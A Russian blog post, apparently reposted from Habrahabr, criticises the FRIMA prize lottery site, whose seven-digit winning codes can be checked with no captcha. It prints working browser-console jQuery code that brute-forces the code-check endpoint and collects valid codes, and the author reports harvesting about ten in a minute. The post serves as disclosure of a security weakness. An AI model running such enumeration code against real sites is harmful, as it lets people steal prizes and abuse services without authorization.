Ещё раз о том, как не надо делать розыгрыши призов

от автора

На этот раз у нас отличилась компания FRIMA с их сухими сливками.

Сегодня вечером, я открыл пачку сливок, и заметил там маленький круглешок с кодом. Вообще в подобных мероприятиях я обычно не участвую, но мой взгляд привлекла маленькая мелочь, а именно: «код выигрыша» выглядел подобным образом: FRIMA1234123. Как заметили многие читатели, код состоит по сути из семи десятичных цифр, то есть всего у нас 10 000 000 комбинаций.

Первое же, что мне пришло в голову — это залезть на сайт для ввода кода — frima.biz/lottery, где обнаружилось, что для проверки кода не используется никакая капча. Беглый осмотр проходящего AJAX-запроса для проверки показал, что в ответ приходит JSON-объект, в котором есть поле code, которое равно 0 если код существует.

Следом за этим я открыл консоль браузера, и накидал следующий код:

t = []; i = 1111111;  q = function() {   jQuery.post('/lottery?task=ajax&action=checkTicketNumber',     { spoof_id: 1, frmname: '', frmemail: '', 'extra_field[1]': '', 'extra_field[2]': '', ticket_number: 'FRIMA'+i },     function(res) {       if(JSON.parse(res).code == 0) {          t.push(i);       };       if(i < 1112222) { // не будем же мы ждать все 10 000 000 запросов         i += 1;        q();       }   }); }; q(); 

После этого мы можем в любой момент получить накопившийся список кодов, сделав

console.log(t); 

Из кода несложно догадаться, что мы просто проверяем прямым перебором все возможные коды начиная с 1111111. Получив за минуту с десяток кодов, я удовлетворил своё эго и решил написать сюда.

В качестве итога я с осуждением смотрю на компанию TopWebDesign, которая с гордостью подписалась в футере рассмотренного сайта как разработчик этой халтуры.

ссылка на оригинал статьи http://habrahabr.ru/post/212373/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *